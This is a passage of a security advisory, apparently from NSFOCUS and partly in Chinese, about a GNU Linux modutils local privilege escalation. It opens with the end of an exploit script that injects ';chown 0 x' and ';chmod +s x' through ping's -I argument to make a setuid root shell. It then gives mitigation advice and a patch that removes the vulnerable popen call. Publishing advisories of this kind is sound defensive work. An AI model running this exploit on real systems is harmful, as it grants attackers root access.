_eof_
gcc /x.c -o /x
chmod 755 /x
echo "Phase 3: chown+chmod on our helper application..."
$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null
sleep 1
if [ ! -u /x ]; then
echo "Apparently, this is not exploitable on this system :("
exit 1
fi
echo "Voila! Entering rootshell..."
/x
echo "Thank you."
--------------------------------------------------------------------------
建議：
臨時解決辦法：
NSFOCUS建議您暫時去掉有問題的系統的ping的suid屬性
廠商補丁：
1. 升級到GNU Linux modutils 2.3.11，它解決了這個問題
2. Keith Owens 提供了如下補丁：
GNU Linux modutils 2.3.9:
Index: 19.7/util/meta_expand.c
--- 19.7/util/meta_expand.c Sun, 10 Sep 2000 12:56:40 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)
+++ 19.7(w)/util/meta_expand.c Mon, 13 Nov 2000 21:19:41 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)
@@ -156,12 +156,8 @@ static int glob_it(char *pt, GLOB_LIST *
*/
int meta_expand(char *pt, GLOB_LIST *g, char *base_dir, char *version)
{
- FILE *fin;
- int len = 0;
- char *line = NULL;
char *p;
char tmpline[PATH_MAX + 1];
- char tmpcmd[PATH_MAX + 11];
g->pathc = 0;
g->pathv = NULL;
@@ -277,38 +273,6 @@ int meta_expand(char *pt, GLOB_LIST *g,
/* Only "=" remaining, should be module options */
split_line(g, pt, 0);
return 0;
- }
-
- /*
- * Last resort: Use "echo"
- */
- sprintf(tmpline, "%s%s", (base_dir ? base_dir : ""), pt);
- sprintf(tmpcmd, "/bin/echo %s", tmpline);
- if ((fin = popen(tmpcmd, "r")) == NULL) {
- error("Can't execute: %s", tmpcmd);
- return -1;
- }
- /* else */
-
- /*
- * Collect the result
- */
- while (fgets(tmpcmd, PATH_MAX, fin) != NULL) {
- int l = strlen(tmpcmd);
-
- line = (char *)xrealloc(line, len + l + 1);
- line[len] = '\0';
- strcat(line + len, tmpcmd);
- len += l;
- }
- pclose(fin);
-
- if (line) {
- /* Ignore result if no expansion occurred */
- strcat(tmpline, "\n");
- if (strcmp(tmpline, line))
- split_line(g, line, 0);
- free(line);
}
return 0;
